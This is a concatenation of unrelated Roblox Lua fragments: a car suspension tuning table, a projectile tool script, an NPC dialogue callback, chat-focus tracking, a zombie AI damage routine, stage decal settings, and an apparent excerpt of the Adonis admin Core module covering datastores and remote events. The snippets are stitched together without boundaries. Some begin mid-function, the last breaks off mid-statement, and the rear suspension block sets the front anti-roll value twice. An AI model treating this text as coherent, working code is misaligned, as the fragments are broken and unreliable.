Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = true -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Hot pink" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local head = vCharacter:findFirstChild("Head") if head == nil then return end local dir = mouse_pos - head.Position dir = computeDirection(dir) local launch = head.Position + 5 * dir local delta = mouse_pos - launch local dy = delta.y local new_delta = Vector3.new(delta.x, 0, delta.z) delta = new_delta local dx = delta.magnitude local unit_delta = delta.unit -- acceleration due to gravity in RBX units local g = (-9.81 * 20) local theta = computeLaunchAngle( dx, dy, g) local vy = math.sin(theta) local xz = math.cos(theta) local vx = unit_delta.x * xz local vz = unit_delta.z * xz local missile = Pellet:clone() missile.Position = launch missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY missile.Bomb.Disabled = false local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vPlayer creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace missile:SetNetworkOwner(vPlayer) end function computeLaunchAngle(dx,dy,grav) -- arcane -- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile local g = math.abs(grav) local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY))) if inRoot <= 0 then return .25 * math.pi end local root = math.sqrt(inRoot) local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx) local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx) local answer1 = math.atan(inATan1) local answer2 = math.atan(inATan2) if answer1 < answer2 then return answer1 end return answer2 end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = script.Parent.Info:InvokeClient((game.Players:GetPlayerFromCharacter(character)), true) -- humanoid.TargetPoint fire(targetPos) wait(.2) Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Money.Gold.Value = plrData.Money.Gold.Value - 100 -- TODO track for dissertation local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) ClassInformationTable:GetClassFolder(player,"Mage").Obtained.Value = true ClassInformationTable:GetClassFolder(player,"Mage").Glacies.Value = true end
-- << CHATTING >>
main.chatting = false main.userInputService.TextBoxFocused:connect(function() main.chatting = true end) main.userInputService.TextBoxFocusReleased:connect(function() main.chatting = false end)
--]]
function getHumanoid(model) for _, v in pairs(model:GetChildren()) do if v:IsA'Humanoid' then return v end end end local ai = script.Parent local human = getHumanoid(ai) local hroot = ai.HumanoidRootPart local zspeed = hroot.Velocity.magnitude local pfs = game:GetService("PathfindingService") function GetPlayerNames() local players = game:GetService('Players'):GetChildren() local name = nil for _, v in pairs(players) do if v:IsA'Player' then name = tostring(v.Name) end end return name end spawn(function() while wait() do wait(0) end end) function GetPlayersBodyParts(t) local torso = t if torso then local figure = torso.Parent for _, v in pairs(figure:GetChildren()) do if v:IsA'Part' then return v.Name end end else return "HumanoidRootPart" end end function GetTorso(part) local chars = game.Workspace:GetChildren() local torso = nil for _, v in pairs(chars) do if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then local charRoot = v:FindFirstChild'HumanoidRootPart' if (charRoot.Position - part).magnitude < SearchDistance then torso = charRoot end end end return torso end for _, zambieparts in pairs(ai:GetChildren()) do if zambieparts:IsA'Part' then zambieparts.Touched:connect(function(p) if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage local enemy = p.Parent local enemyhuman = getHumanoid(enemy) enemyhuman:TakeDamage(aiDamage) end end) end end
--------STAGE--------
game.Workspace.projection1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.LeftBackground.Value).."" game.Workspace.projection2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.RightBackground.Value)..""
--// Core
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server; local service = Vargs.Service; local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings, Deps; local AddLog, Queue, TrackTask local function Init(data) Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Settings = server.Settings; Deps = server.Deps; AddLog = Logs.AddLog; Queue = service.Queue; TrackTask = service.TrackTask; --// Core variables Core.Themes = data.Themes or {} Core.Plugins = data.Plugins or {} Core.ModuleID = data.ModuleID or 7510592873 Core.LoaderID = data.LoaderID or 7510622625 Core.DebugMode = data.DebugMode or false Core.Name = server.Functions:GetRandom() Core.LoadstringObj = Core.GetLoadstring() Core.Loadstring = require(Core.LoadstringObj) disableAllGUIs(server.Client.UI); Core.Init = nil; AddLog("Script", "Core Module Initialized") end; local function RunAfterPlugins(data) --// RemoteEvent Handling Core.MakeEvent() --// Prepare the client loader --local existingPlayers = service.Players:GetPlayers(); --Core.MakeClient() local remoteParent = service.ReplicatedStorage; remoteParent.ChildRemoved:Connect(function(c) if server.Core.RemoteEvent and not server.Core.FixingEvent and (function() for i,v in pairs(server.Core.RemoteEvent) do if c == v then return true end end end)() then wait(); server.Core.MakeEvent() end end) --// Load data Core.DataStore = server.Core.GetDataStore() if Core.DataStore then TrackTask("Thread: DSLoadAndHook", function() pcall(server.Core.LoadData) end) end --// Save all data on server shutdown & set GAME_CLOSING game:BindToClose(function() Core.GAME_CLOSING = true; Core.SaveAllPlayerData(); end); --// Start API if service.NetworkServer then --service.Threads.RunTask("_G API Manager",server.Core.StartAPI) TrackTask("Thread: API Manager", Core.StartAPI) end --// Occasionally save all player data to the datastore to prevent data loss if the server abruptly crashes service.StartLoop("SaveAllPlayerData", Core.DS_AllPlayerDataSaveInterval, Core.SaveAllPlayerData, true) Core.RunAfterPlugins = nil; AddLog("Script", "Core Module RunAfterPlugins Finished"); end server.Core = { Init = Init; RunAfterPlugins = RunAfterPlugins; DataQueue = {}; DataCache = {}; PlayerData = {}; CrossServerCommands = {}; CrossServer = function(...) return false end; ExecuteScripts = {}; LastDataSave = 0; FixingEvent = false; ScriptCache = {}; Connections = {}; BytecodeCache = {}; LastEventValue = 1; Variables = { TimeBans = {}; }; --// Datastore update/queue timers/delays DS_WriteQueueDelay = 1; DS_ReadQueueDelay = 0.5; DS_AllPlayerDataSaveInterval = 30; DS_AllPlayerDataSaveQueueDelay = 0.5; --// Used to change/"reset" specific datastore keys DS_RESET_SALTS = { SavedSettings = "32K5j4"; SavedTables = "32K5j4"; }; DS_BLACKLIST = { Trello_Enabled = true; Trello_Primary = true; Trello_Secondary = true; Trello_Token = true; Trello_AppKey = true; DataStore = true; DataStoreKey = true; DataStoreEnabled = true; Creators = true; Permissions = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; ["Settings.Ranks.Creators.Users"] = true; ["Admin.SpecialLevels"] = true; OnStartup = true; OnSpawn = true; OnJoin = true; CustomRanks = true; Ranks = true; --// Not gonna let malicious stuff set DS_Blacklist to {} or anything! DS_BLACKLIST = true; }; --// Prevent certain keys from loading from the DataStore PlayerDataKeyBlacklist = { AdminRank = true; AdminLevel = true; LastLevelUpdate = true; }; DisconnectEvent = function() if Core.RemoteEvent and not Core.FixingEvent then Core.FixingEvent = true; for name,event in pairs(Core.RemoteEvent.Events) do event:Disconnect() end pcall(function() service.Delete(Core.RemoteEvent.Object) end) pcall(function() service.Delete(Core.RemoteEvent.Function) end) Core.FixingEvent = false; Core.RemoteEvent = nil; end end; MakeEvent = function() local remoteParent = service.ReplicatedStorage; local ran, error = pcall(function() if server.Running then local rTable = {}; local event = service.New("RemoteEvent", {Name = Core.Name, Archivable = false}, true, true) local func = service.New("RemoteFunction", {Name = "__FUNCTION", Parent = event}, true, true) local secureTriggered = true local tripDet = math.random() local function secure(ev, name, parent) return ev.Changed:Connect(function() if Core.RemoteEvent == rTable and not secureTriggered then if ev == func then func.OnServerInvoke = Process.Remote end if ev.Name ~= name then ev.Name = name elseif ev.Parent ~= parent then secureTriggered = true; Core.DisconnectEvent(); Core.MakeEvent() end end end) end Core.DisconnectEvent(); Core.TripDet = tripDet; rTable.Events = {}; rTable.Object = event; rTable.Function = func; rTable.Events.Security = secure(event, event.Name, remoteParent); rTable.Events.FuncSec = secure(func, func.Name, event); func.OnServerInvoke = Process.Remote; rTable.Events.ProcessEvent = service.RbxEvent(event.OnServerEvent, Process.Remote); Core.RemoteEvent = rTable; event.Parent = remoteParent; secureTriggered = false; AddLog(Logs.Script,{ Text = "Created RemoteEvent"; Desc = "RemoteEvent was successfully created"; }) end end) if error then warn(error) end end; UpdateConnections = function() if service.NetworkServer then for i,cli in ipairs(service.NetworkServer:GetChildren()) do if cli:IsA("NetworkReplicator") then Core.Connections[cli] = cli:GetPlayer() end end end end; UpdateConnection = function(p) if service.NetworkServer then for i,cli in ipairs(service.NetworkServer:GetChildren()) do if cli:IsA("NetworkReplicator") and cli:GetPlayer() == p then Core.Connections[cli] = p end end end end; GetNetworkClient = function(p) if service.NetworkServer then for i,cli in ipairs(service.NetworkServer:GetChildren()) do if cli:IsA("NetworkReplicator") and cli:GetPlayer() == p then return cli end end end end; MakeClient = function(parent) if not parent and Core.ClientLoader then local loader = Core.ClientLoader; loader.Removing = true; for i,v in pairs(loader.Events) do v:Disconnect() end loader.Object:Destroy(); end; local depsName = Functions:GetRandom() local folder = server.Client:Clone() local acli = server.Deps.ClientMover:Clone(); local client = folder.Client local parentObj = parent or service.StarterPlayer:FindFirstChildOfClass("StarterPlayerScripts"); local clientLoader = { Removing = false; }; Core.MockClientKeys = Core.MockClientKeys or { Special = depsName; Module = client; } local depsName = Core.MockClientKeys.Special; local specialVal = service.New("StringValue") specialVal.Value = Core.Name.."\\"..depsName specialVal.Name = "Special" specialVal.Parent = folder acli.Parent = folder; acli.Disabled = false; folder.Archivable = false; folder.Name = depsName; --"Adonis_Client" folder.Parent = parentObj; if not parent then local oName = folder.Name; clientLoader.Object = folder; clientLoader.Events = {} clientLoader.Events[folder] = folder.Changed:Connect(function() if Core.ClientLoader == clientLoader and not clientLoader.Removing then if folder.Name ~= oName then folder.Name = oName; elseif folder.Parent ~= parentObj then clientLoader.Removing = true; Core.MakeClient(); end end end) local function sec(child) local oParent = child.Parent; local oName = child.Name; clientLoader.Events[child.Changed] = child.Changed:Connect(function(c) if Core.ClientLoader == clientLoader and not clientLoader.Removing then if child.Parent ~= oParent or child == specialVal then Core.MakeClient(); end end end) local nameEvent = child:GetPropertyChangedSignal("Name"):Connect(function() if Core.ClientLoader == clientLoader and not clientLoader.Removing then child.Name = oName; end end) clientLoader.Events[nameEvent] = nameEvent; clientLoader.Events[child.AncestryChanged] = child.AncestryChanged:Connect(function() if Core.ClientLoader == clientLoader and not clientLoader.Removing then Core.MakeClient(); end end) end; for i,child in ipairs(folder:GetDescendants()) do sec(child); end folder.DescendantAdded:Connect(function(d) if Core.ClientLoader == clientLoader and not clientLoader.Removing then Core.MakeClient(); end end) folder.DescendantRemoving:Connect(function(d) if Core.ClientLoader == clientLoader and not clientLoader.Removing then Core.MakeClient(); end end) Core.ClientLoader = clientLoader; end local ok,err = pcall(function() folder.Parent = parentObj end) clientLoader.Removing = false; AddLog("Script", "Created client"); end; HookClient = function(p) local key = tostring(p.UserId) local keys = Remote.Clients[key] if keys then local depsName = Functions:GetRandom() local eventName = Functions:GetRandom() local folder = server.Client:Clone() local acli = server.Deps.ClientMover:Clone(); local client = folder.Client local parentTo = "PlayerGui" --// Roblox, seriously, please give the server access to PlayerScripts already so I don't need to do this. local parentObj = p:FindFirstChildOfClass(parentTo) or p:WaitForChild(parentTo, 600); if not p.Parent then return false elseif not parentObj then p:Kick("\n[CLI-102495] Loading Error \nPlayerGui Missing (Waited 10 Minutes)") return false end local container = service.New("ScreenGui"); container.ResetOnSpawn = false; container.Enabled = false; container.Name = "\0"; local specialVal = service.New("StringValue") specialVal.Value = Core.Name.."\\"..depsName specialVal.Name = "Special" specialVal.Parent = folder keys.Special = depsName keys.EventName = eventName keys.Module = client acli.Parent = folder; acli.Disabled = false; folder.Name = "Adonis_Client" folder.Parent = container; --// Event only fires AFTER the client is alive and well local event; event = service.Events.ClientLoaded:Connect(function(plr) if p == plr and container.Parent == parentObj then container.Parent = nil --container:Destroy(); -- Destroy update causes an issue with this pretty sure p.AncestryChanged:Connect(function() -- after/on remove, not on removing... if p.Parent == nil then pcall(function() container:Destroy() end) -- Prevent potential memory leak and ensure this gets properly murdered when they leave and it's no longer needed end end) event:Disconnect(); end end) local ok,err = pcall(function() container.Parent = parentObj end) if not ok then p:Kick("\n[CLI-192385] Loading Error \n[HookClient Error: "..tostring(err).."]") return false else return true end else if p and p.Parent then p:Kick("\n[CLI-5691283] Loading Error \n[HookClient: Keys Missing]") end end end; LoadClientLoader = function(p) local loader = Deps.ClientLoader:Clone() loader.Name = Functions.GetRandom() loader.Parent = p:WaitForChild("PlayerGui", 60) or p:WaitForChild("Backpack") loader.Disabled = false end; LoadExistingPlayer = function(p) warn("Loading existing player: ".. tostring(p)) TrackTask("Thread: Setup Existing Player: ".. tostring(p), function() Process.PlayerAdded(p) --Core.MakeClient(p:FindFirstChildOfClass("PlayerGui") or p:WaitForChild("PlayerGui", 120)) end) end; ExecutePermission = function(scr, code, isLocal) local fixscr = service.UnWrap(scr) for _, val in pairs(Core.ExecuteScripts) do if not isLocal or (isLocal and val.Type == "LocalScript") then if (service.UnWrap(val.Script) == fixscr or code == val.Code) and (not val.runLimit or (val.runLimit ~= nil and val.Executions <= val.runLimit)) then val.Executions = val.Executions+1 return { Source = val.Source; noCache = val.noCache; runLimit = val.runLimit; Executions = val.Executions; } end end end end; GetScript = function(scr,code) for i,val in pairs(Core.ExecuteScripts) do if val.Script == scr or code == val.Code then return val,i end end end; UnRegisterScript = function(scr) for i,dat in pairs(Core.ExecuteScripts) do if dat.Script == scr or dat == scr then table.remove(Core.ExecuteScripts, i) return dat end end end; RegisterScript = function(data) data.Executions = 0 data.Time = os.time() data.Type = data.Script.ClassName data.Wrapped = service.Wrap(data.Script) data.Wrapped:SetSpecial("Clone",function() return Core.RegisterScript { Script = service.UnWrap(data.Script):Clone(); Code = data.Code; Source = data.Source; noCache = data.noCache; runLimit = data.runLimit; } end) for ind,scr in pairs(Core.ExecuteScripts) do if scr.Script == data.Script then return scr.Wrapped or scr.Script end end if not data.Code then data.Code = Functions.GetRandom() end table.insert(Core.ExecuteScripts,data) return data.Wrapped end; GetLoadstring = function() local newLoad = Deps.Loadstring:Clone(); local lbi = server.Shared.FiOne:Clone(); lbi.Parent = newLoad return newLoad; end; Bytecode = function(str) if Core.BytecodeCache[str] then return Core.BytecodeCache[str] end local f, buff = Core.Loadstring(str) Core.BytecodeCache[str] = buff return buff end; NewScript = function(type,source,allowCodes,noCache,runLimit) local ScriptType local execCode = Functions.GetRandom() if type == 'Script' then ScriptType = Deps.ScriptBase:Clone() elseif type == 'LocalScript' then ScriptType = Deps.LocalScriptBase:Clone() end if ScriptType then ScriptType.Name = "[Adonis] ".. type if allowCodes then service.New("StringValue", { Name = "Execute", Value = execCode, Parent = ScriptType, }) end local wrapped = Core.RegisterScript { Script = ScriptType; Code = execCode; Source = Core.Bytecode(source); noCache = noCache; runLimit = runLimit; } return wrapped or ScriptType, ScriptType, execCode end end; SavePlayer = function(p,data) local key = tostring(p.UserId) Core.PlayerData[key] = data end; DefaultPlayerData = function(p) return { Donor = { Cape = { Image = '0'; Color = 'White'; Material = 'Neon'; }; Enabled = false; }; Banned = false; TimeBan = false; AdminNotes = {}; Keybinds = {}; Aliases = {}; Client = {}; Warnings = {}; AdminPoints = 0; }; end; GetPlayer = function(p) local key = tostring(p.UserId) if not Core.PlayerData[key] then local PlayerData = Core.DefaultPlayerData(p) Core.PlayerData[key] = PlayerData if Core.DataStore then local data = Core.GetData(key) if data and type(data) == "table" then data.AdminNotes = (data.AdminNotes and Functions.DSKeyNormalize(data.AdminNotes, true)) or {} data.Warnings = (data.Warnings and Functions.DSKeyNormalize(data.Warnings, true)) or {} local BLOCKED_SETTINGS = server.Core.PlayerDataKeyBlacklist for i,v in pairs(data) do if not BLOCKED_SETTINGS[i] then PlayerData[i] = v end end end end return PlayerData else return Core.PlayerData[key] end end; ClearPlayer = function(p) Core.PlayerData[tostring(p.UserId)] = Core.DefaultData(p); end; SavePlayerData = function(p, customData) local key = tostring(p.UserId); local pData = customData or Core.PlayerData[key]; if Core.DataStore then if pData then local data = service.CloneTable(pData); data.LastChat = nil data.AdminRank = nil data.AdminLevel = nil data.LastLevelUpdate = nil data.LastDataSave = nil data.AdminNotes = Functions.DSKeyNormalize(data.AdminNotes) data.Warnings = Functions.DSKeyNormalize(data.Warnings) Core.SetData(key, data) AddLog(Logs.Script,{ Text = "Saved data for ".. p.Name; Desc = "Player data was saved to the datastore"; }) pData.LastDataSave = os.time(); end end end; SaveAllPlayerData = function(queueWaitTime) local TrackTask = service.TrackTask for key,pdata in pairs(Core.PlayerData) do local id = tonumber(key); local player = id and service.Players:GetPlayerByUserId(id); if player and (not pdata.LastDataSave or os.time() - pdata.LastDataSave >= Core.DS_AllPlayerDataSaveInterval) then TrackTask(string.format("Save data for %s", player.Name), Core.SavePlayerData, player); end end --[[ --// OLD METHOD (Kept in case this messes anything up) for i,p in next,service.Players:GetPlayers() do local pdata = Core.PlayerData[tostring(p.UserId)]; --// Only save player's data if it has not been saved within the last INTERVAL (default 30s) if pdata and (not pdata.LastDataSave or os.time() - pdata.LastDataSave >= Core.DS_AllPlayerDataSaveInterval) then service.Queue("SavePlayerData", function() Core.SavePlayerData(p) wait(queueWaitTime or Core.DS_AllPlayerDataSaveQueueDelay) end) end end--]] end; GetDataStore = function() local ran,store = pcall(function() return service.DataStoreService:GetDataStore(string.sub(Settings.DataStore, 1, 50),"Adonis") end) -- DataStore studio check. if ran and store and service.RunService:IsStudio() then local success, res = pcall(store.GetAsync, store, math.random()) if not success and string.find(res, "403", 1, true) then return; end end return ran and store end; DataStoreEncode = function(key) if Core.DS_RESET_SALTS[key] then key = Core.DS_RESET_SALTS[key] .. key end return Functions.Base64Encode(Remote.Encrypt(tostring(key), Settings.DataStoreKey)) end; SaveData = function(...) return Core.SetData(...) end; DS_GetRequestDelay = function(type) local requestType, budget; local reqPerMin = 60 + #service.Players:GetPlayers() * 10; local reqDelay = 60 / reqPerMin; if type == "Write" then requestType = Enum.DataStoreRequestType.SetIncrementAsync; elseif type == "Read" then requestType = Enum.DataStoreRequestType.GetAsync; elseif type == "Update" then requestType = Enum.DataStoreRequestType.UpdateAsync; end repeat budget = service.DataStoreService:GetRequestBudgetForRequestType(requestType); until budget > 0 and task.wait(1) return reqDelay + 0.5; end; DS_WriteLimiter = function(type, func, ...) local vararg = table.pack(...) return Queue("DataStoreWriteData_" .. tostring(type), function() local gotDelay = Core.DS_GetRequestDelay(type); --// Wait for budget, also return how long we should wait before the next request is allowed to go func(unpack(vararg, 1, vararg.n)) task.wait(gotDelay) end, 120, true) end; RemoveData = function(key) local DataStore = Core.DataStore if DataStore then local ran2, err2 = Queue("DataStoreWriteData" .. tostring(key), function() local ran, ret = Core.DS_WriteLimiter("Write", DataStore.RemoveAsync, DataStore, Core.DataStoreEncode(key)) if ran then Core.DataCache[key] = nil else logError("DataStore RemoveAsync Failed: ".. tostring(ret)) end task.wait(6) end, 120, true) if not ran2 then warn("DataStore RemoveData Failed: ".. tostring(err2)) end end end; SetData = function(key, value, repeatCount) if repeatCount then warn("Retrying SetData request for ".. key); end local DataStore = Core.DataStore if DataStore then if value == nil then return Core.RemoveData(key) else local ran2, err2 = Queue("DataStoreWriteData" .. tostring(key), function() local ran, ret = Core.DS_WriteLimiter("Write", DataStore.SetAsync, DataStore, Core.DataStoreEncode(key), value) if ran then Core.DataCache[key] = value else logError("DataStore SetAsync Failed: ".. tostring(ret)); end task.wait(6) end, 120, true) if not ran2 then logError("DataStore SetData Failed: ".. tostring(err2)) --// Attempt 3 times, with slight delay between if failed task.wait(1); if not repeatCount then return Core.SetData(key, value, 3); elseif repeatCount > 0 then return Core.SetData(key, value, repeatCount - 1); end end end end end; UpdateData = function(key, func, repeatCount) if repeatCount then warn("Retrying UpdateData request for ".. key); end local DataStore = Core.DataStore if DataStore then local err = false; local ran2, err2 = Queue("DataStoreWriteData" .. tostring(key), function() local ran, ret = Core.DS_WriteLimiter("Update", DataStore.UpdateAsync, DataStore, Core.DataStoreEncode(key), func) if not ran then err = ret; logError("DataStore UpdateAsync Failed: ".. tostring(ret)) return error(ret); end wait(6) end, 120, true) --// 120 timeout, yield until this queued function runs and completes if not ran2 then logError("DataStore UpdateData Failed: ".. tostring(err2)) --// Attempt 3 times, with slight delay between if failed wait(1); if not repeatCount then return Core.UpdateData(key, func, 3); elseif repeatCount > 0 then return Core.UpdateData(key, func, repeatCount - 1); end end return err end end; GetData = function(key, repeatCount) if repeatCount then warn("Retrying GetData request for ".. key); end local DataStore = Core.DataStore if DataStore then local ran2, err2 = Queue("DataStoreReadData", function() local ran, ret = pcall(DataStore.GetAsync, DataStore, Core.DataStoreEncode(key)) if ran then Core.DataCache[key] = ret return ret else logError("DataStore GetAsync Failed: ".. tostring(ret)) if Core.DataCache[key] then return Core.DataCache[key]; else error(ret); end end wait(Core.DS_GetRequestDelay("Read")) end, 120, true) if not ran2 then logError("DataStore GetData Failed: ".. tostring(err2)) --// Attempt 3 times, with slight delay between if failed wait(1); if not repeatCount then return Core.GetData(key, 3); elseif repeatCount > 0 then return Core.GetData(key, repeatCount - 1); end else return err2; end end end; IndexPathToTable = function(tableAncestry) local Blacklist = Core.DS_BLACKLIST if type(tableAncestry) == "string" and not Blacklist[tableAncestry] then return server.Settings[tableAncestry], tableAncestry; elseif type(tableAncestry) == "table" then local curTable = server; local curName = "Server"; for i,ind in ipairs(tableAncestry) do curTable = curTable[ind]; curName = ind; if not curTable then --warn(tostring(ind) .." could not be found"); --// Not allowed or table is not found return nil; end end if curName and type(curName) == 'string' and Blacklist[curName] then return nil end return curTable, curName; end return nil end; ClearAllData = function() local tabs = Core.GetData("SavedTables") or {}; for i,v in pairs(tabs) do if v.TableKey then Core.RemoveData(v.TableKey); end end Core.SetData("SavedSettings",{}); Core.SetData("SavedTables",{}); Core.CrossServer("LoadData"); end; GetTableKey = function(indList) local tabs = Core.GetData("SavedTables") or {}; local realTable,tableName = Core.IndexPathToTable(indList); local foundTable = nil; for i,v in pairs(tabs) do if type(v) == "table" and v.TableName and v.TableName == tableName then foundTable = v break; end end if not foundTable then foundTable = { TableName = tableName; TableKey = "SAVEDTABLE_".. tableName; } table.insert(tabs, foundTable); Core.SetData("SavedTables", tabs); end if not Core.GetData(foundTable.TableKey) then Core.SetData(foundTable.TableKey, {}); end return foundTable.TableKey; end; DoSave = function(data) local type = data.Type if type == "ClearSettings" then Core.ClearAllData(); elseif type == "SetSetting" then local setting = data.Setting local value = data.Value Core.UpdateData("SavedSettings", function(settings) settings[setting] = value return settings end) Core.CrossServer("LoadData", "SavedSettings", {[setting] = value}); elseif type == "TableRemove" then local key = Core.GetTableKey(data.Table); local tab = data.Table local value = data.Value data.Action = "Remove" data.Time = os.time() local CheckMatch = Functions.CheckMatch Core.UpdateData(key, function(sets) sets = sets or {} for i,v in pairs(sets) do if CheckMatch(tab, v.Table) and CheckMatch(v.Value, value) then table.remove(sets,i) end end table.insert(sets, data) return sets end) Core.CrossServer("LoadData", "TableUpdate", data); elseif type == "TableAdd" then local key = Core.GetTableKey(data.Table); local tab = data.Table local value = data.Value data.Action = "Add" data.Time = os.time() local CheckMatch = Functions.CheckMatch Core.UpdateData(key, function(sets) sets = sets or {} for i,v in pairs(sets) do if CheckMatch(tab, v.Table) and CheckMatch(v.Value, value) then table.remove(sets, i) end end table.insert(sets, data) return sets end) Core.CrossServer("LoadData", "TableUpdate", data); end AddLog(Logs.Script,{ Text = "Saved setting change to datastore"; Desc = "A setting change was issued and saved"; }) end; LoadData = function(key, data, serverId) if serverId and serverId == game.JobId then return end; local Blacklist = Core.DS_BLACKLIST local CheckMatch = Functions.CheckMatch; if key == "TableUpdate" then local tab = data; local indList = tab.Table; local nameRankComp = {--// Old settings backwards compatability Owners = {"Settings", "Ranks", "HeadAdmins", "Users"}; Creators = {"Settings", "Ranks", "Creators", "Users"}; HeadAdmins = {"Settings", "Ranks", "HeadAdmins", "Users"}; Admins = {"Settings", "Ranks", "Admins", "Users"}; Moderators = {"Settings", "Ranks", "Moderators", "Users"}; } if type(indList) == "string" and nameRankComp[indList] then indList = nameRankComp[indList]; end local realTable,tableName = Core.IndexPathToTable(indList); local displayName = type(indList) == "table" and table.concat(indList, ".") or tableName; if displayName and type(displayName) == 'string' and Blacklist[displayName] then --// warn("Stopped " .. displayName .. " from being set!") --// Debugging --Coasterteam return end if realTable and tab.Action == "Add" then for i,v in pairs(realTable) do if CheckMatch(v,tab.Value) then table.remove(realTable, i) end end AddLog("Script",{ Text = "Added value to ".. displayName; Desc = "Added "..tostring(tab.Value).." to ".. displayName .." from datastore"; }) table.insert(realTable, tab.Value) elseif realTable and tab.Action == "Remove" then for i,v in pairs(realTable) do if CheckMatch(v, tab.Value) then AddLog("Script",{ Text = "Removed value from ".. displayName; Desc = "Removed "..tostring(tab.Value).." from ".. displayName .." from datastore"; }) table.remove(realTable, i) end end end else local SavedSettings local SavedTables if Core.DataStore and Settings.DataStoreEnabled then local GetData, LoadData, SaveData, DoSave = Core.GetData, Core.LoadData, Core.SaveData, Core.DoSave if not key then SavedSettings = GetData("SavedSettings") SavedTables = GetData("SavedTables") elseif key and not data then if key == "SavedSettings" then SavedSettings = GetData("SavedSettings") elseif key == "SavedTables" then SavedTables = GetData("SavedTables") end elseif key and data then if key == "SavedSettings" then SavedSettings = data elseif key == "SavedTables" then SavedTables = data end end if not key and not data then if not SavedSettings then SavedSettings = {} SaveData("SavedSettings",{}) end if not SavedTables then SavedTables = {} SaveData("SavedTables",{}) end end if SavedSettings then for setting,value in pairs(SavedSettings) do if not Blacklist[setting] then if setting == 'Prefix' or setting == 'AnyPrefix' or setting == 'SpecialPrefix' then local orig = Settings[setting] for i,v in pairs(server.Commands) do if v.Prefix == orig then v.Prefix = value end end end Settings[setting] = value end end end if SavedTables then for i,tData in pairs(SavedTables) do if tData.TableName and tData.TableKey and not Blacklist[tData.tableName] then local data = GetData(tData.TableKey); if data then for k,v in ipairs(data) do LoadData("TableUpdate", v) end end elseif tData.Table and tData.Action then LoadData("TableUpdate", tData) end end if Core.Variables.TimeBans then for i,v in pairs(Core.Variables.TimeBans) do if v.EndTime-os.time() <= 0 then table.remove(Core.Variables.TimeBans, i) DoSave({ Type = "TableRemove"; Table = {"Core", "Variables", "TimeBans"}; Value = v; }) end end end end AddLog(Logs.Script,{ Text = "Loaded saved data"; Desc = "Data was retrieved from the datastore and loaded successfully"; }) end end end; StartAPI = function() local _G = _G local setmetatable = setmetatable local rawset = rawset local rawget = rawget local type = type local error = error local print = print local warn = warn local pairs = pairs local next = next local table = table local getfenv = getfenv local setfenv = setfenv local require = require local tostring = tostring local server = server local service = service local Routine = Routine local cPcall = cPcall local MetaFunc = service.MetaFunc local StartLoop = service.StartLoop local API_Special = { AddAdmin = Settings.Allowed_API_Calls.DataStore; RemoveAdmin = 